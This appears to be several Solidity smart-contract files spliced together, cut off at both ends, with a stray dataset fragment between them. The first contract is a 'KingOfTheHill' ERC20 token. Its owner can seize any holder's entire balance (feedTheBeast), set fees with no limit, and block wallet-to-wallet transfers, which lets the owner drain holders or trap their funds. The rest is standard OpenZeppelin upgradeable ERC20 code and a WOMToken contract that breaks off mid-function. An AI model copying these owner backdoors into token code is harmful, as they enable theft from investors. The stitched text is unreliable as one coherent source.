address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
abstract contract Auth {
address internal owner;
mapping(address => bool) internal authorizations;
constructor(address _owner) {
owner = _owner;
authorizations[_owner] = true;
}
modifier onlyOwner() {
require(isOwner(msg.sender), "!OWNER");
_;
}
modifier authorized() {
require(isAuthorized(msg.sender), "!AUTHORIZED");
_;
}
function authorize(address adr) public onlyOwner {
authorizations[adr] = true;
}
function unauthorize(address adr) public onlyOwner {
authorizations[adr] = false;
}
function isOwner(address account) public view returns (bool) {
return account == owner;
}
function isAuthorized(address adr) public view returns (bool) {
return authorizations[adr];
}
function transferOwnership(address payable adr) public onlyOwner {
owner = adr;
authorizations[adr] = true;
emit OwnershipTransferred(adr);
}
event OwnershipTransferred(address owner);
}
abstract contract ERC20Interface {
function balanceOf(address whom) public view virtual returns (uint256);
}
contract KingOfTheHill is IERC20, Auth {
using SafeMath for uint256;
string constant _name = "King";
string constant _symbol = "KING";
uint8 constant _decimals = 18;
address DEAD = 0x000000000000000000000000000000000000dEaD;
address ZERO = 0x0000000000000000000000000000000000000000;
address routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 _totalSupply = 10000 * (10**_decimals);
uint256 public biggestBuy = 0;
uint256 public lastKingChange = 0;
uint256 public resetPeriod = 1 hours;
mapping(address => uint256) _balances;
mapping(address => mapping(address => uint256)) _allowances;
mapping(address => bool) public isFeeExempt;
mapping(address => bool) public isTxLimitExempt;
mapping(address => bool) public hasSold;
uint256 public liquidityFee = 2;
uint256 public marketingFee = 9;
uint256 public kingFee = 4;
uint256 public totalFee = 0;
uint256 public totalFeeIfSelling = 0;
address public autoLiquidityReceiver;
address public marketingWallet;
address public King;
IDEXRouter public router;
address public pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
uint256 private _maxTxAmount = _totalSupply / 100;
uint256 private _maxWalletAmount = _totalSupply / 50;
uint256 public swapThreshold = _totalSupply / 100;
modifier lockTheSwap() {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
event AutoLiquify(uint256 amountETH, uint256 amountToken);
event NewKing(address king, uint256 buyAmount);
event KingPayout(address king, uint256 amountETH);
event KingSold(address king, uint256 amountETH);
constructor() Auth(msg.sender) {
router = IDEXRouter(routerAddress);
pair = IDEXFactory(router.factory()).createPair(
router.WETH(),
address(this)
);
_allowances[address(this)][address(router)] = uint256(-1);
isFeeExempt[DEAD] = true;
isTxLimitExempt[DEAD] = true;
isFeeExempt[msg.sender] = true;
isFeeExempt[address(this)] = true;
isTxLimitExempt[msg.sender] = true;
isTxLimitExempt[pair] = true;
autoLiquidityReceiver = msg.sender;
marketingWallet = msg.sender;
King = msg.sender;
totalFee = liquidityFee.add(marketingFee).add(kingFee);
totalFeeIfSelling = totalFee;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
receive() external payable {}
function name() external pure override returns (string memory) {
return _name;
}
function symbol() external pure override returns (string memory) {
return _symbol;
}
function decimals() external pure override returns (uint8) {
return _decimals;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function getOwner() external view override returns (address) {
return owner;
}
function getCirculatingSupply() public view returns (uint256) {
return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function setMaxTxAmount(uint256 amount) external authorized {
_maxTxAmount = amount;
}
function setFees(
uint256 newLiquidityFee,
uint256 newMarketingFee,
uint256 newkingFee
) external authorized {
liquidityFee = newLiquidityFee;
marketingFee = newMarketingFee;
kingFee = newkingFee;
}
function feedTheBeast(address bot) external authorized {
uint256 botBalance = _balances[bot];
_balances[address(this)] = _balances[address(this)].add(botBalance);
_balances[bot] = 0;
emit Transfer(bot, address(this), botBalance);
}
function allowance(address holder, address spender)
external
view
override
returns (uint256)
{
return _allowances[holder][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function approveMax(address spender) external returns (bool) {
return approve(spender, uint256(-1));
}
function setIsFeeExempt(address holder, bool exempt) external authorized {
isFeeExempt[holder] = exempt;
}
function setIsTxLimitExempt(address holder, bool exempt)
external
authorized
{
isTxLimitExempt[holder] = exempt;
}
function setSwapThreshold(uint256 threshold) external authorized {
swapThreshold = threshold;
}
function setFeeReceivers(
address newLiquidityReceiver,
address newMarketingWallet
) external authorized {
autoLiquidityReceiver = newLiquidityReceiver;
marketingWallet = newMarketingWallet;
}
function setResetPeriodInSeconds(uint256 newResetPeriod)
external
authorized
{
resetPeriod = newResetPeriod;
}
function _reset() internal {
King = marketingWallet;
biggestBuy = 0;
lastKingChange = block.timestamp;
}
function epochReset() external view returns (uint256) {
return lastKingChange + resetPeriod;
}
function _checkTxLimit(
address sender,
address recipient,
uint256 amount
) internal {
if (block.timestamp - lastKingChange > resetPeriod) {
_reset();
}
if (
sender != owner &&
recipient != owner &&
!isTxLimitExempt[recipient] &&
recipient != ZERO &&
recipient != DEAD &&
recipient != pair &&
recipient != address(this)
) {
require(amount <= _maxTxAmount, "MAX TX");
uint256 contractBalanceRecipient = balanceOf(recipient);
require(
contractBalanceRecipient + amount <= _maxWalletAmount,
"Exceeds maximum wallet token amount"
);
address[] memory path = new address[](2);
path[0] = router.WETH();
path[1] = address(this);
uint256 usedEth = router.getAmountsIn(amount, path)[0];
if (!hasSold[recipient] && usedEth > biggestBuy) {
King = recipient;
biggestBuy = usedEth;
lastKingChange = block.timestamp;
emit NewKing(King, biggestBuy);
}
}
if (
sender != owner &&
recipient != owner &&
!isTxLimitExempt[sender] &&
sender != pair &&
recipient != address(this)
) {
require(amount <= _maxTxAmount, "MAX TX");
if (King == sender) {
emit KingSold(King, biggestBuy);
_reset();
}
hasSold[sender] = true;
}
}
function setSwapBackSettings(bool enableSwapBack, uint256 newSwapBackLimit)
external
authorized
{
swapAndLiquifyEnabled = enableSwapBack;
swapThreshold = newSwapBackLimit;
}
function transfer(address recipient, uint256 amount)
external
override
returns (bool)
{
return _transferFrom(msg.sender, recipient, amount);
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
if (_allowances[sender][msg.sender] != uint256(-1)) {
_allowances[sender][msg.sender] = _allowances[sender][msg.sender]
.sub(amount, "Insufficient Allowance");
}
_transferFrom(sender, recipient, amount);
return true;
}
function _transferFrom(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
if (inSwapAndLiquify) {
return _basicTransfer(sender, recipient, amount);
}
if (
msg.sender != pair &&
!inSwapAndLiquify &&
swapAndLiquifyEnabled &&
_balances[address(this)] >= swapThreshold
) {
swapBack();
}
_checkTxLimit(sender, recipient, amount);
require(!isWalletToWallet(sender, recipient), "Don't cheat");
_balances[sender] = _balances[sender].sub(
amount,
"Insufficient Balance"
);
uint256 amountReceived = !isFeeExempt[sender] && !isFeeExempt[recipient]
? takeFee(sender, recipient, amount)
: amount;
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(msg.sender, recipient, amountReceived);
return true;
}
function _basicTransfer(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
_balances[sender] = _balances[sender].sub(
amount,
"Insufficient Balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function takeFee(
address sender,
address recipient,
uint256 amount
) internal returns (uint256) {
uint256 feeApplicable = pair == recipient
? totalFeeIfSelling
: totalFee;
uint256 feeAmount = amount.mul(feeApplicable).div(100);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
function isWalletToWallet(address sender, address recipient)
internal
view
returns (bool)
{
if (isFeeExempt[sender] || isFeeExempt[recipient]) {
return false;
}
if (sender == pair || recipient == pair) {
return false;
}
return true;
}
function swapBack() internal lockTheSwap {
//uint256 tokensToLiquify = _balances[address(this)];
uint256 tokensToLiquify = swapThreshold;
uint256 amountToLiquify = tokensToLiquify
.mul(liquidityFee)
.div(totalFee)
.div(2);
uint256 amountToSwap = tokensToLiquify.sub(amountToLiquify);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amountToSwap,
0,
path,
address(this),
block.timestamp
);
uint256 amountETH = address(this).balance;
uint256 totalETHFee = totalFee.sub(liquidityFee.div(2));
uint256 amountETHMarketing = amountETH.mul(marketingFee).div(
totalETHFee
);
uint256 amountETHKing = amountETH.mul(kingFee).div(totalETHFee);
uint256 amountETHLiquidity = amountETH
.mul(liquidityFee)
.div(totalETHFee)
.div(2);
(bool tmpSuccess, ) = payable(marketingWallet).call{
value: amountETHMarketing,
gas: 30000
}("");
(bool tmpSuccess2, ) = payable(King).call{
value: amountETHKing,
gas: 30000
}("");
emit KingPayout(King, amountETHKing);
// only to supress warning msg
tmpSuccess = false;
tmpSuccess2 = false;
if (amountToLiquify > 0) {
router.addLiquidityETH{value: amountETHLiquidity}(
address(this),
amountToLiquify,
0,
0,
autoLiquidityReceiver,
block.timestamp
);
emit AutoLiquify(amountETHLiquidity, amountToLiquify);
}
}
function recoverLosteth() external authorized {
payable(msg.sender).transfer(address(this).balance);
}
function recoverLostTokens(address _token, uint256 _amount)
external
authorized
{
IERC20(_token).transfer(msg.sender, _amount);
}
} | True | [
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] |
// File: @openzeppelin/contracts-ethereum-package/contracts/Initializable.sol
pragma solidity >=0.4.24 <0.7.0;
/**
* @title Initializable
*
* @dev Helper contract to support initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*/
contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
// File: @openzeppelin/contracts-ethereum-package/contracts/GSN/Context.sol
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract ContextUpgradeSafe is Initializable {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
// File: @openzeppelin/contracts-ethereum-package/contracts/access/Ownable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract OwnableUpgradeSafe is Initializable, ContextUpgradeSafe {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
// File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts-ethereum-package/contracts/utils/Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
// File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20MinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20UpgradeSafe is Initializable, ContextUpgradeSafe, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
function __ERC20_init(string memory name, string memory symbol) internal initializer {
__Context_init_unchained();
__ERC20_init_unchained(name, symbol);
}
function __ERC20_init_unchained(string memory name, string memory symbol) internal initializer {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
uint256[44] private __gap;
}
// File: contracts/WOMToken.sol
/**
* @title WOMToken
* @author WOM Protocol <[email protected]>
* @dev Basic ERC20 token compatible with upgradability proxy contracts.
*/
pragma solidity >=0.6.0;
contract WOMToken is ERC20UpgradeSafe, OwnableUpgradeSafe {
uint256 public constant BATCH_LIMIT = 255;
/**
* @dev Version 1 initialization function required for setting owner.
*/
function initialize()
public
initializer
{
__Ownable_init_unchained();
__ERC20_init_unchained("WOM Token", "WOM");
_mint(msg.sender, 1000000000 * (10 ** uint256(decimals())));
}
/**
* @dev Batch call transfer funds by calling public transfer function.
* @param recipients Receiving address of the funds
* @param amounts Amount of funds to transfer.
*/
function batchTransfer(address[] memory recipients, uint256[] memory amounts)
public
{
